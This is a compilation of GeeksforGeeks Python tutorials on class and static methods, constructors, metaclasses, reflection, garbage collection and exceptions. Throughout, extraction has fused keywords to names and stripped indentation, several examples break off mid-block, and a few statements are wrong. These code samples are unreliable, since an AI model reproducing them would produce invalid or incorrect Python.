This article is contributed by Harshit Gupta. If you like GeeksforGeeks and would like to contribute, you can also write an article and mail your article to review-team@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks.
Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above
The @classmethod decorator is a built-in function decorator that is an expression that gets evaluated after your function is defined. The result of that evaluation shadows your function definition. A class method receives the class as an implicit first argument, just like an instance method receives the instance Syntax:
class C(object): @classmethod def fun(cls, arg1, arg2, ...):
....
fun: function that needs to be converted into a class method
returns: a class method for function.
A class method is a method that is bound to the class and not the object of the class.
They have the access to the state of the class as it takes a class parameter that points to the class and not the object instance.
It can modify a class state that would apply across all the instances of the class. For example, it can modify a class variable that will be applicable to all the instances.
Static Method
A static method does not receive an implicit first argument.
Syntax:
class C(object): @staticmethod def fun(arg1, arg2, ...): ...returns: a static method for function fun.
A static method is also a method that is bound to the class and not the object of the class.
A static method can’t access or modify the class state.
It is present in a class because it makes sense for the method to be present in class.
Class method vs Static Method
A class method takes cls as the first parameter while a static method needs no specific parameters.
A class method can access or modify the class state while a static method can’t access or modify it.
In general, static methods know nothing about the class state. They are utility-type methods that take some parameters and work upon those parameters. On the other hand class methods must have class as a parameter.
We use @classmethod decorator in python to create a class method and we use @staticmethod decorator to create a static method in python.
When to use what?
We generally use class method to create factory methods. Factory methods return class objects ( similar to a constructor ) for different use cases.
We generally use static methods to create utility functions.
How to define a class method and a static method?
To define a class method in python, we use @classmethod decorator, and to define a static method we use @staticmethod decorator. Let us look at an example to understand the difference between both of them. Let us say we want to create a class Person. Now, python doesn’t support method overloading like C++ or Java so we use class methods to create factory methods. In the below example we use a class method to create a person object from birth year. As explained above we use static methods to create utility functions. In the below example we use a static method to check if a person is an adult or not.
Implementation
Python3
# Python program to demonstrate
# use of class method and static method.
fromdatetime importdate
classPerson:
def__init__(self, name, age):
self.name =name
self.age =age
# a class method to create a Person object by birth year.
@classmethod
deffromBirthYear(cls, name, year):
returncls(name, date.today().year -year)
# a static method to check if a Person is adult or not.
@staticmethod
defisAdult(age):
returnage > 18
person1 =Person('mayank', 21)
person2 =Person.fromBirthYear('mayank', 1996)
print(person1.age)
print(person2.age)
# print the result
print(Person.isAdult(22))
Output:
21
25
True
This article is contributed by Mayank Agrawal. If you like GeeksforGeeks and would like to contribute, you can also write an article using write.geeksforgeeks.org or mail your article to review-team@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks. Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above.
In the previous fact, we have seen that Python doesn’t have the static keyword. All variables that are assigned a value in the class declaration are class variables.
We should be careful when changing the value of a class variable. If we try to change a class variable using an object, a new instance (or non-static) variable for that particular object is created and this variable shadows the class variables. Below is a Python program to demonstrate the same.
Python3
# Class for Computer Science Student
classCSStudent:
stream ='cse'# Class Variable
def__init__(self, name, roll):
self.name =name
self.roll =roll
# Driver program to test the functionality
# Creating objects of CSStudent class
a =CSStudent("Geek", 1)
b =CSStudent("Nerd", 2)
print("Initially")
print("a.stream =", a.stream )
print("b.stream =", b.stream )
# This thing doesn't change class(static) variable
# Instead creates instance variable for the object
We should change class variables using class names only.
Python3
# Program to show how to make changes to the
# class variable in Python
# Class for Computer Science Student
classCSStudent:
stream ='cse'# Class Variable
def__init__(self, name, roll):
self.name =name
self.roll =roll
# New object for further implementation
a =CSStudent("check", 3)
print"a.stream =", a.stream
# Correct way to change the value of class variable
CSStudent.stream ="mec"
print"\nClass variable changes to mec"
# New object for further implementation
b =CSStudent("carter", 4)
print"\nValue of variable steam for each object"
print"a.stream =", a.stream
print"b.stream =", b.stream
Output:
a.stream = cse
Class variable changes to mec
Value of variable steam for each object
a.stream = mec
b.stream = mec
This article is contributed by Nikhil Kumar Singh. If you like GeeksforGeeks and would like to contribute, you can also write an article and mail your article to review-team@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks. Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above
Prerequisites: Object-Oriented Programming in Python, Object-Oriented Programming in Python | Set 2 Constructors are generally used for instantiating an object. The task of constructors is to initialize(assign values) to the data members of the class when an object of the class is created. In Python the __init__() method is called the constructor and is always called when an object is created. Syntax of constructor declaration :
def __init__(self):
# body of the constructor
Types of constructors :
default constructor: The default constructor is a simple constructor which doesn’t accept any arguments. Its definition has only one argument which is a reference to the instance being constructed.
parameterized constructor: constructor with parameters is known as parameterized constructor. The parameterized constructor takes its first argument as a reference to the instance being constructed known as self and the rest of the arguments are provided by the programmer.
Example of default constructor :
Python3
classGeekforGeeks:
# default constructor
def__init__(self):
self.geek ="GeekforGeeks"
# a method for printing data members
defprint_Geek(self):
print(self.geek)
# creating object of the class
obj =GeekforGeeks()
# calling the instance method using the object obj
obj.print_Geek()
Output :
GeekforGeeks
Example of theparameterized constructor :
Python3
classAddition:
first =0
second =0
answer =0
# parameterized constructor
def__init__(self, f, s):
self.first =f
self.second =s
defdisplay(self):
print("First number = "+str(self.first))
print("Second number = "+str(self.second))
print("Addition of two numbers = "+str(self.answer))
defcalculate(self):
self.answer =self.first +self.second
# creating object of the class
# this will invoke parameterized constructor
obj =Addition(1000, 2000)
# perform Addition
obj.calculate()
# display result
obj.display()
Output :
First number = 1000
Second number = 2000
Addition of two numbers = 3000
Constructors in Python Destructors are called when an object gets destroyed. In Python, destructors are not needed as much as in C++ because Python has a garbage collector that handles memory management automatically. The __del__() method is a known as a destructor method in Python. It is called when all references to the object have been deleted i.e when an object is garbage collected. Syntax of destructor declaration :
def __del__(self):
# body of destructor
Note : A reference to objects is also deleted when the object goes out of reference or when the program ends. Example 1 : Here is the simple example of destructor. By using del keyword we deleted the all references of object ‘obj’, therefore destructor invoked automatically.
Note : The destructor was called after the program ended or when all the references to object are deleted i.e when the reference count becomes zero, not when object went out of scope. Example 2 :This example gives the explanation of above mentioned note. Here, notice that the destructor is called after the ‘Program End…’ printed.
Python3
# Python program to illustrate destructor
classEmployee:
# Initializing
def__init__(self):
print('Employee created')
# Calling destructor
def__del__(self):
print("Destructor called")
defCreate_obj():
print('Making Object...')
obj =Employee()
print('function end...')
returnobj
print('Calling Create_obj() function...')
obj =Create_obj()
print('Program End...')
Output:
Calling Create_obj() function...
Making Object...
Employee created
function end...
Program End...
Destructor called
Example 3 : Now, consider the following example :
Python3
# Python program to illustrate destructor
classA:
def__init__(self, bb):
self.b =bb
classB:
def__init__(self):
self.a =A(self)
def__del__(self):
print("die")
deffun():
b =B()
fun()
Output:
die
In this example when the function fun() is called, it creates an instance of class B which passes itself to class A, which then sets a reference to class B and resulting in a circular reference. Generally, Python’s garbage collector which is used to detect these types of cyclic references would remove it but in this example the use of custom destructor marks this item as “uncollectable”. Simply, it doesn’t know the order in which to destroy the objects, so it leaves them. Therefore, if your instances are involved in circular references they will live in memory for as long as the application run.
First class objects in a language are handled uniformly throughout. They may be stored in data structures, passed as arguments, or used in control structures. A programming language is said to support first-class functions if it treats functions as first-class objects. Python supports the concept of First Class functions.
Properties of first class functions:
A function is an instance of the Object type.
You can store the function in a variable.
You can pass the function as a parameter to another function.
You can return the function from a function.
You can store them in data structures such as hash tables, lists, …
Examples illustrating First Class functions in Python
1. Functions are objects: Python functions are first class objects. In the example below, we are assigning function to a variable. This assignment doesn’t call the function. It takes the function object referenced by shout and creates a second name pointing to it, yell.
# Python program to illustrate functions
# can be treated as objects
defshout(text):
returntext.upper()
print(shout('Hello'))
yell =shout
print(yell('Hello'))
Output:
HELLO
HELLO
2. Functions can be passed as arguments to other functions: Because functions are objects we can pass them as arguments to other functions. Functions that can accept other functions as arguments are also called higher-order functions. In the example below, we have created a function greet which takes a function as an argument.
# Python program to illustrate functions
# can be passed as arguments to other functions
defshout(text):
returntext.upper()
defwhisper(text):
returntext.lower()
defgreet(func):
# storing the function in a variable
greeting =func("""Hi, I am created by a function
passed as an argument.""")
print(greeting)
greet(shout)
greet(whisper)
Output
HI, I AM CREATED BY A FUNCTION PASSED AS AN ARGUMENT.
hi, i am created by a function passed as an argument.
3. Functions can return another function: Because functions are objects we can return a function from another function. In the below example, the create_adder function returns adder function.
# Python program to illustrate functions
# Functions can return another function
defcreate_adder(x):
defadder(y):
returnx+y
returnadder
add_15 =create_adder(15)
print(add_15(10))
Output:
25
This article is contributed by Mayank Agrawal. If you like GeeksforGeeks and would like to contribute, you can also write an article using contribute.geeksforgeeks.org or mail your article to contribute@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks.
Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above.
At first, the word Metaprogramming seems like a very funky and alien thing but if you have ever worked with decorators or metaclasses, you were doing metaprogramming there all along. In a nutshell, we can say metaprogramming is the code that manipulates code. In this article, we are going to discuss Metaclasses, why and when we should use them, and what are the alternatives. This is a fairly advance Python topic and the following prerequisite is expected –
In Python, everything has some type associated with it. For example, if we have a variable having an integer value then its type is int. You can get the type of anything using the type() function.
Python3
num =23
print("Type of num is:", type(num))
lst =[1, 2, 4]
print("Type of lst is:", type(lst))
name ="Atul"
print("Type of name is:", type(name))
Output:
Type of num is: <class 'int'>
Type of lst is: <class 'list'>
Type of name is: <class 'str'>
Every type in Python is defined by Class. So in the above example, unlike C++ or Java where int, char, float are primary data types, in Python they are objects of int class or str class. So we can make a new type by creating a class of that type. For example, we can create a new type of Student by creating a Student class.
Python3
classStudent:
pass
stu_obj =Student()
# Print type of object of Student class
print("Type of stu_obj is:", type(stu_obj))
Output:
Type of stu_obj is: <class '__main__.Student'>
A Class is also an object, and just like any other object, it’s an instance of something called Metaclass. A special class type creates these Class objects. The type class is default metaclass which is responsible for making classes. In the above example, if we try to find out the type of Student class, it comes out to be a type.
Python3
classStudent:
pass
# Print type of Student class
print("Type of Student class is:", type(Student))
Output:
Type of Student class is: <class 'type'>
Because Classes are also an object, they can be modified in the same way. We can add or subtract fields or methods in class in the same way we did with other objects. For example –
Python3
# Defined class without any
# class methods and variables
classtest:pass
# Defining method variables
test.x =45
# Defining class methods
test.foo =lambdaself: print('Hello')
# creating object
myobj =test()
print(myobj.x)
myobj.foo()
Output:
45
Hello
This whole meta thing can be summarized as – Metaclass create Classes and Classes creates objects
The metaclass is responsible for the generation of classes, so we can write our custom metaclasses to modify the way classes are generated by performing extra actions or injecting code. Usually, we do not need custom metaclasses but sometimes it’s necessary. There are problems for which metaclass and non-metaclass-based solutions are available (which are often simpler) but in some cases, only metaclass can solve the problem. We will discuss such a problem in this article.
Creating custom Metaclass
To create our custom metaclass, our custom metaclass has to inherit type metaclass and usually override –
__new__(): It’s a method which is called before __init__(). It creates the object and returns it. We can override this method to control how the objects are created.
__init__(): This method just initialize the created object passed as a parameter
We can create classes using the type() function directly. It can be called in following ways –
When called with only one argument, it returns the type. We have seen it before in the above examples.
When called with three parameters, it creates a class. Following arguments are passed to it –
Class name
Tuple having base classes inherited by class
Class Dictionary: It serves as a local namespace for the class, populated with class methods and variables
Consider this example –
Python3
deftest_method(self):
print("This is Test class method!")
# creating a base class
classBase:
defmyfun(self):
print("This is inherited method!")
# Creating Test class dynamically using
# type() method directly
Test =type('Test', (Base, ), dict(x="atul", my_method=test_method))
# Print type of Test
print("Type of Test class: ", type(Test))
# Creating instance of Test class
test_obj =Test()
print("Type of test_obj: ", type(test_obj))
# calling inherited method
test_obj.myfun()
# calling Test class method
test_obj.my_method()
# printing variable
print(test_obj.x)
Output:
Type of Test class: <class 'type'>
Type of test_obj: <class '__main__.Test'>
This is inherited method!
This is Test class method!
atul
Now let’s create a metaclass without using type() directly. In the following example, we will be creating a metaclass MultiBases which will check if the class being created has inherited from more than one base class. If so, it will raise an error.
Python3
# our metaclass
classMultiBases(type):
# overriding __new__ method
def__new__(cls, clsname, bases, clsdict):
# if no of base classes is greater than 1
# raise error
iflen(bases)>1:
raiseTypeError("Inherited multiple base classes!!!")
# metaclass can be specified by 'metaclass' keyword argument
# now MultiBase class is used for creating classes
# this will be propagated to all subclasses of Base
classBase(metaclass=MultiBases):
pass
# no error is raised
classA(Base):
pass
# no error is raised
classB(Base):
pass
# This will raise an error!
classC(A, B):
pass
Output:
Traceback (most recent call last):
File "<stdin>", line 2, in <module>
File "<stdin>", line 8, in __new__
TypeError: Inherited multiple base classes!!!
Solving problems with metaclass
There are some problems which can be solved by decorators (easily) as well as by metaclasses. But there are a few problems whose results can only be achieved by metaclasses. For example, consider a very simple problem of code repetition. We want to debug class methods, what we want is that whenever the class method executes, it should print its fully qualified name before executing its body.
The very first solution that comes to our mind is using method decorators, following is the sample code –
Python3
fromfunctools importwraps
defdebug(func):
'''decorator for debugging passed function'''
@wraps(func)
defwrapper(*args, **kwargs):
print("Full name of this method:", func.__qualname__)
returnfunc(*args, **kwargs)
returnwrapper
defdebugmethods(cls):
'''class decorator make use of debug decorator
to debug class methods '''
# check in class dictionary for any callable(method)
# if exist, replace it with debugged version
forkey, val invars(cls).items():
ifcallable(val):
setattr(cls, key, debug(val))
returncls
# sample class
@debugmethods
classCalc:
defadd(self, x, y):
returnx+y
defmul(self, x, y):
returnx*y
defdiv(self, x, y):
returnx/y
mycal =Calc()
print(mycal.add(2, 3))
print(mycal.mul(5, 2))
Output:
Full name of this method: Calc.add
5
Full name of this method: Calc.mul
10
This solution works fine but there is one problem, what if we want to apply this method decorator to all subclasses which inherit this Calc class. In that case, we have to separately apply the method decorator to every subclass just like we did with the Calc class. The problem is if we have many such subclasses, then in that case we won’t like adding a decorator to each one separately. If we know beforehand that every subclass must have this debug property, then we should look up to the metaclass-based solution. Have a look at this metaclass based solution, the idea is that classes will be created normally and then immediately wrapped up by debug method decorator –
Python3
fromfunctools importwraps
defdebug(func):
'''decorator for debugging passed function'''
@wraps(func)
defwrapper(*args, **kwargs):
print("Full name of this method:", func.__qualname__)
Most of the time we do not use metaclasses, it’s usually used for something complicated, but a few cases where we use metaclasses are –
As we have seen in the above example, metaclasses propagate down the inheritance hierarchies. It will affect all the subclasses as well. If we have such a situation, then we should use metaclasses.
If we want to change class automatically, when it is created, we use metaclasses
For API development, we might use metaclasses
As quoted by Tim Peters
Metaclasses are deeper magic that 99% of users should never worry about. If you wonder whether you need them, you don’t (the people who actually need them know with certainty that they need them, and don’t need an explanation about why).
This article is contributed by Atul Kumar. If you like GeeksforGeeks and would like to contribute, you can also write an article using write.geeksforgeeks.org or mail your article to review-team@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks. Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above.
Class attributes belong to the class itself they will be shared by all the instances. Such attributes are defined in the class body parts usually at the top, for legibility.
# Write Python code here
classsampleclass:
count =0# class attribute
defincrease(self):
sampleclass.count +=1
# Calling increase() on an object
s1 =sampleclass()
s1.increase()
print(s1.count)
# Calling increase on one more
# object
s2 =sampleclass()
s2.increase()
print(s2.count)
print(sampleclass.count)
Output:
1
2
2
Instance Attributes
Unlike class attributes, instance attributes are not shared by objects. Every object has its own copy of the instance attribute (In case of class attributes all object refer to single copy).
To list the attributes of an instance/object, we have two functions:- 1. vars()– This function displays the attribute of an instance in the form of an dictionary. 2. dir()– This function displays more attributes than vars function,as it is not limited to instance. It displays the class attributes as well. It also displays the attributes of its ancestor classes.
This article is contributed by Harsh Valecha. If you like GeeksforGeeks and would like to contribute, you can also write an article using contribute.geeksforgeeks.org or mail your article to contribute@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks.
Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above.
Reflection refers to the ability for code to be able to examine attributes about objects that might be passed as parameters to a function. For example, if we write type(obj) then Python will return an object which represents the type of obj.
Using reflection, we can write one recursive reverse function that will work for strings, lists, and any other sequence that supports slicing and concatenation. If an obj is a reference to a string, then Python will return the str type object. Further, if we write str() we get a string which is the empty string. In other words, writing str() is the same thing as writing “”. Likewise, writing list() is the same thing as writing [].
# Python program to illustrate reflection
defreverse(sequence):
sequence_type =type(sequence)
empty_sequence =sequence_type()
ifsequence ==empty_sequence:
returnempty_sequence
rest =reverse(sequence[1:])
first_sequence =sequence[0:1]
# Combine the result
final_result =rest +first_sequence
returnfinal_result
# Driver code
print(reverse([10, 20, 30, 40]))
print(reverse("GeeksForGeeks"))
Output:
[40, 30, 20, 10]
skeeGroFskeeG
Reflection-enabling functions
Reflection-enabling functions include type(), isinstance(), callable(), dir() and getattr().
Callable() :A callable means anything that can be called. For an object, determines whether it can be called. A class can be made callable by providing a __call__() method. The callable() method returns True if the object passed appears callable. If not, it returns False. Examples:
x = 5
def testFunction():
print("Test")
y = testFunction
if (callable(x)):
print("x is callable")
else:
print("x is not callable")
if (callable(y)):
print("y is callable")
else:
print("y is not callable")
Output:
x is not callable
y is callable
callable when used in OOP
class Foo1:
def __call__(self):
print('Print Something')
print(callable(Foo1))
Output:
True
Dir : The dir() method tries to return a list of valid attributes of the object. The dir() tries to return a list of valid attributes of the object.
If the object has __dir__() method, the method will be called and must return the list of attributes.
If the object doesn’t have __dir()__ method, this method tries to find information from the __dict__ attribute (if defined), and from type object. In this case, the list returned from dir() may not be complete.
Examples:
number = [1,2,3]
print(dir(number))
characters = ["a", "b"]
print(dir(number))
Output:
Getattr : The getattr() method returns the value of the named attribute of an object. If not found, it returns the default value provided to the function.The getattr method takes three parameters object, name and default(optional).
This article is contributed by Subhajit Saha. If you like GeeksforGeeks and would like to contribute, you can also write an article using contribute.geeksforgeeks.org or mail your article to contribute@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks.
Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above.
Python’s memory allocation and deallocation method is automatic. The user does not have to preallocate or deallocate memory similar to using dynamic memory allocation in languages such as C or C++. Python uses two strategies for memory allocation:
Reference counting
Garbage collection
Prior to Python version 2.0, the Python interpreter only used reference counting for memory management. Reference counting works by counting the number of times an object is referenced by other objects in the system. When references to an object are removed, the reference count for an object is decremented. When the reference count becomes zero, the object is deallocated. Ex-
Python
# Literal 9 is an object
b =9
# Reference count of object 9
# becomes 0.
b =4
The literal value 9 is an object. The reference count of object 9 is incremented to 1 in line 1. In line 2 its reference count becomes zero as it is dereferenced. So garbage collector deallocates the object. A reference cycle is created when there is no way the reference count of the object can reach. Reference cycles involving lists, tuples, instances, classes, dictionaries, and functions are common. The easiest way to create a reference cycle is to create an object which refers to itself as in the example below:
Python
defcreate_cycle():
# create a list x
x =[ ]
# A reference cycle is created
# here as x contains reference to
# to self.
x.append(x)
create_cycle()
Because create_cycle() creates an object x which refers to itself, the object x will not automatically be freed when the function returns. This will cause the memory that x is using to be held onto until the Python garbage collector is invoked.
Ways to make an object eligible for garbage collection
Python
x =[]
x.append(l)
x.append(2)
# delete the list from memory or
# assigning object x to None(Null)
delx
# x = None
The reference count for the list created is now two. However, since it cannot be reached from inside Python and cannot possibly be used again, it is considered garbage. In the current version of Python, this list is never freed.
Automatic Garbage Collection of Cycles
Because reference cycles take computational work to discover, garbage collection must be a scheduled activity. Python schedules garbage collection based upon a threshold of object allocations and object deallocations. When the number of allocations minus the number of deallocations is greater than the threshold number, the garbage collector is run. One can inspect the threshold for new objects (objects in Python known as generation 0 objects) by importing the gc module and asking for garbage collection thresholds:
Python
# loading gc
importgc
# get the current collection
# thresholds as a tuple
print("Garbage collection thresholds:",
gc.get_threshold())
Output:
Garbage collection thresholds: (700, 10, 10)
Here, the default threshold on the above system is 700. This means when the number of allocations vs. the number of deallocations is greater than 700 the automatic garbage collector will run. Thus any portion of your code which frees up large blocks of memory is a good candidate for running manual garbage collection.
Manual Garbage Collection
Invoking the garbage collector manually during the execution of a program can be a good idea on how to handle memory being consumed by reference cycles. The garbage collection can be invoked manually in the following way:
Python
# Importing gc module
importgc
# Returns the number of
# objects it has collected
# and deallocated
collected =gc.collect()
# Prints Garbage collector
# as 0 object
print("Garbage collector: collected",
"%d objects."%collected)
Output:
('Garbage collector: collected', '0 objects.')
If few cycles are created, then how manual collection works: Example:
Python
importgc
i =0
# create a cycle and on each iteration x as a dictionary
There are two ways for performing manual garbage collection: time-based and event-based garbage collection.
Time-based garbage collection is simple: the garbage collector is called after a fixed time interval.
Event-based garbage collection calls the garbage collector on event occurrence. For example, when a user exits the application or when the application enters into idle state.
We have explored basic python till now from Set 1 to 4 (Set 1 | Set 2 | Set 3 | Set 4).
In this article, we will discuss how to handle exceptions in Python using try. catch, and finally statement with the help of proper examples.
Error in Python can be of two types i.e. Syntax errors and Exceptions. Errors are the problems in a program due to which the program will stop the execution. On the other hand, exceptions are raised when some internal events occur which changes the normal flow of the program.
Difference between Syntax Error and Exceptions
Syntax Error: As the name suggests this error is caused by the wrong syntax in the code. It leads to the termination of the program.
Example:
Python3
# initialize the amount variable
amount =10000
# check that You are eligible to
# purchase Dsa Self Paced or not
if(amount > 2999)
print("You are eligible to purchase Dsa Self Paced")
Output:
Exceptions: Exceptions are raised when the program is syntactically correct, but the code resulted in an error. This error does not stop the execution of the program, however, it changes the normal flow of the program.
Example:
Python3
# initialize the amount variable
marks =10000
# perform division with 0
a =marks /0
print(a)
Output:
In the above example raised the ZeroDivisionError as we are trying to divide a number by 0.
Note: Exception is the base class for all the exceptions in Python. You can check the exception hierarchy here.
Try and Except Statement – Catching Exceptions
Try and except statements are used to catch and handle exceptions in Python. Statements that can raise exceptions are kept inside the try clause and the statements that handle the exception are written inside except clause.
Example: Let us try to access the array element whose index is out of bound and handle the corresponding exception.
Python3
# Python program to handle simple runtime error
#Python 3
a =[1, 2, 3]
try:
print("Second element = %d"%(a[1]))
# Throws error since there are only 3 elements in array
print("Fourth element = %d"%(a[3]))
except:
print("An error occurred")
Output
Second element = 2
An error occurred
In the above example, the statements that can cause the error are placed inside the try statement (second print statement in our case). The second print statement tries to access the fourth element of the list which is not there and this throws an exception. This exception is then caught by the except statement.
Catching Specific Exception
A try statement can have more than one except clause, to specify handlers for different exceptions. Please note that at most one handler will be executed. For example, we can add IndexError in the above code. The general syntax for adding specific exceptions are –
If you comment on the line fun(3), the output will be
NameError Occurred and Handled
The output above is so because as soon as python tries to access the value of b, NameError occurs.
Try with Else Clause
In python, you can also use the else clause on the try-except block which must be present after all the except clauses. The code enters the else block only if the try clause does not raise an exception.
Example: Try with else clause
Python3
# Program to depict else clause with try-except
# Python 3
# Function which returns a/b
defAbyB(a , b):
try:
c =((a+b) /(a-b))
exceptZeroDivisionError:
print("a/b result in 0")
else:
print(c)
# Driver program to test above function
AbyB(2.0, 3.0)
AbyB(3.0, 3.0)
Output:
-5.0
a/b result in 0
Finally Keyword in Python
Python provides a keyword finally, which is always executed after the try and except blocks. The final block always executes after normal termination of try block or after try block terminates due to some exception.
Syntax:
try:
# Some Code....
except:
# optional block
# Handling of exception (if required)
else:
# execute if no exception
finally:
# Some code .....(always executed)
Example:
Python3
# Python program to demonstrate finally
# No exception Exception raised in try block
try:
k =5//0# raises divide by zero exception.
print(k)
# handles zerodivision exception
exceptZeroDivisionError:
print("Can't divide by zero")
finally:
# this block is always executed
# regardless of exception generation.
print('This is always executed')
Output:
Can't divide by zero
This is always executed
Raising Exception
The raise statement allows the programmer to force a specific exception to occur. The sole argument in raise indicates the exception to be raised. This must be either an exception instance or an exception class (a class that derives from Exception).
Python3
# Program to depict Raising Exception
try:
raiseNameError("Hi there") # Raise Error
exceptNameError:
print("An exception")
raise# To determine whether the exception was raised or not
The output of the above code will simply line printed as “An exception” but a Runtime error will also occur in the last due to the raise statement in the last line. So, the output on your command line will look like
Traceback (most recent call last):
File "/home/d6ec14ca595b97bff8d8034bbf212a9f.py", line 5, in <module>
raise NameError("Hi there") # Raise Error
NameError: Hi there
Prerequisite- This article is an extension to Exception Handling. Python throws errors and exceptions when there is a code gone wrong, which may cause the program to stop abruptly. Python also provides an exception handling method with the help of try-except. Some of the standard exceptions which are most frequent include IndexError, ImportError, IOError, ZeroDivisionError, TypeError, and FileNotFoundError. A user can create his own error using the exception class.
Creating User-defined Exception
Programmers may name their own exceptions by creating a new exception class. Exceptions need to be derived from the Exception class, either directly or indirectly. Although not mandatory, most of the exceptions are named as names that end in “Error” similar to the naming of the standard exceptions in python. For example:
PYTHON
# A python program to create user-defined exception
# class MyError is derived from super class Exception
classMyError(Exception):
# Constructor or Initializer
def__init__(self, value):
self.value =value
# __str__ is to print() the value
def__str__(self):
return(repr(self.value))
try:
raise(MyError(3*2))
# Value of Exception is stored in error
exceptMyError as error:
print('A New Exception occured: ',error.value)
Output:
('A New Exception occured: ', 6)
Knowing all about Exception Class
To know more about class Exception, run the code below
PYTHON
help(Exception)
Deriving Error from Super Class Exception
Superclass Exceptions are created when a module needs to handle several distinct errors. One of the common ways of doing this is to create a base class for exceptions defined by that module. Further, various subclasses are defined to create specific exception classes for different error conditions.
PYTHON
# class Error is derived from super class Exception
classError(Exception):
# Error is derived class for Exception, but
# Base class for exceptions in this module
pass
classTransitionError(Error):
# Raised when an operation attempts a state
# transition that's not allowed.
def__init__(self, prev, nex, msg):
self.prev =prev
self.next=nex
# Error message thrown is saved in msg
self.msg =msg
try:
raise(TransitionError(2,3*2,"Not Allowed"))
# Value of Exception is stored in error
exceptTransitionError as error:
print('Exception occured: ',error.msg)
Output:
('Exception occured: ', 'Not Allowed')
How to use standard Exceptions as a base class? A runtime error is a class that is a standard exception that is raised when a generated error does not fall into any category. This program illustrates how to use runtime error as base class and network error as derived class. In a similar way, an exception can be derived from the standard exceptions of Python.
PYTHON
# NetworkError has base RuntimeError
# and not Exception
classNetworkerror(RuntimeError):
def__init__(self, arg):
self.args =arg
try:
raiseNetworkerror("Error")
exceptNetworkerror as e:
print(e.args)
Output:
('E', 'r', 'r', 'o', 'r')
This article is contributed by Piyush Doorwar. If you like GeeksforGeeks and would like to contribute, you can also write an article using write.geeksforgeeks.org or mail your article to review-team@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks. Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above.
All instances in Python must be instances of a class that derives from BaseException. Two exception classes that are not related via subclassing are never equivalent, even if they have the same name. The built-in exceptions can be generated by the interpreter or built-in functions.
There are several built-in exceptions in Python that are raised when errors occur. These built-in exceptions can be viewed using the local() built-in functions as follows :
>>> locals()['__builtins__']
This returns a dictionary of built-in exceptions, functions and attributes.
Base Classes
The following exceptions are used mostly as base classes for other exceptions.
exception BaseException This is the base class for all built-in exceptions. It is not meant to be directly inherited by user-defined classes. For, user-defined classes, Exception is used. This class is responsible for creating a string representation of the exception using str() using the arguments passed. An empty string is returned if there are no arguments.
args : The args are the tuple of arguments given to the exception constructor.
with_traceback(tb) : This method is usually used in exception handling. This method sets tb as the new traceback for the exception and returns the exception object.
exception Exception This is the base class for all built-in non-system-exiting exceptions. All user-defined exceptions should also be derived from this class.
exception ArithmeticError This class is the base class for those built-in exceptions that are raised for various arithmetic errors such as :
OverflowError
ZeroDivisionError
FloatingPointError
Example :
try:
a =10/0
print(a)
exceptArithmeticError:
print("This statement is raising an arithmetic exception.")
else:
print("Success.")
Output :
This statement is raising an arithmetic exception.
exception BufferError This exception is raised when buffer related operations cannot be performed.
exception LookupError This is the base class for those exceptions that are raised when a key or index used on a mapping or sequence is invalid or not found. The exceptions raised are :
KeyError
IndexError
Example :
try:
a =[1, 2, 3]
print(a[3])
exceptLookupError:
print("Index out of bound error.")
else:
print("Success")
Output :
Index out of bound error.
Concrete exceptions
The following exceptions are the exceptions that are usually raised.
exception AssertionError An AssertionError is raised when an assert statement fails.
Example :
assert False, 'The assertion failed'
Output :
Traceback (most recent call last):
File "exceptions_AssertionError.py", line 12, in
assert False, 'The assertion failed'
AssertionError: The assertion failed
exception AttributeError An AttributeError is raised when an attribute reference or assignment fails such as when a non-existent attribute is referenced.
Example :
classAttributes(object):
pass
object=Attributes()
print(object.attribute)
Output :
Traceback (most recent call last):
File "d912bae549a2b42953bc62da114ae7a7.py", line 5, in
print object.attribute
AttributeError: 'Attributes' object has no attribute 'attribute'
exception EOFError An EOFError is raised when built-in functions like input() hits an end-of-file condition (EOF) without reading any data. The file methods like readline() return an empty string when they hit EOF.
Example :
whileTrue:
data =input('Enter name : ')
print('Hello ', data)
Output :
Enter Name :Hello Aditi
Enter Name :Traceback (most recent call last):
File "exceptions_EOFError.py", line 13, in
data = raw_input('Enter name :')
EOFError: EOF when reading a line
exception FloatingPointError A FloatingPointError is raised when a floating point operation fails. This exception is always defined, but can only be raised when Python is configured with the–with-fpectl option, or the WANT_SIGFPE_HANDLER symbol is defined in the pyconfig.h file.
Example :
importmath
print(math.exp(1000))
Output :
Traceback (most recent call last):
File "", line 1, in
FloatingPointError: in math_1
exception GeneratorExit This exception directly inherits from BaseException instead of Exception since it is technically not an error. A GeneratorExit exception is raised when a generator or coroutine is closed.
Example :
defmy_generator():
try:
fori inrange(5):
print('Yielding', i)
yieldi
exceptGeneratorExit:
print('Exiting early')
g =my_generator()
print(g.next())
g.close()
Output :
Yielding 0
0
Exiting early
exception ImportError An ImportError is raised when the import statement is unable to load a module or when the “from list” in from … import has a name that cannot be found.
Example :
importmodule_does_not_exist
Output :
Traceback (most recent call last):
File "exceptions_ImportError_nomodule.py", line 12, in
import module_does_not_exist
ImportError: No module named module_does_not_exist
Example :
fromexceptions importUserexception
Output :
Traceback (most recent call last):
File "exceptions_ImportError_missingname.py", line 12, in
from exceptions import Userexception
ImportError: cannot import name Userexception
exception ModuleNotFoundError This is the subclass of ImportError which is raised by import when a module could not be found. It is also raised when None is found in sys.modules.
exception IndexError An IndexError is raised when a sequence is referenced which is out of range.
Example :
array =[ 0, 1, 2]
print(array[3])
Output :
Traceback (most recent call last):
File "exceptions_IndexError.py", line 13, in
print array[3]
IndexError: list index out of range
exception KeyError A KeyError is raised when a mapping key is not found in the set of existing keys.
Example :
array ={ 'a':1, 'b':2}
print(array['c'])
Output :
Traceback (most recent call last):
File "exceptions_KeyError.py", line 13, in
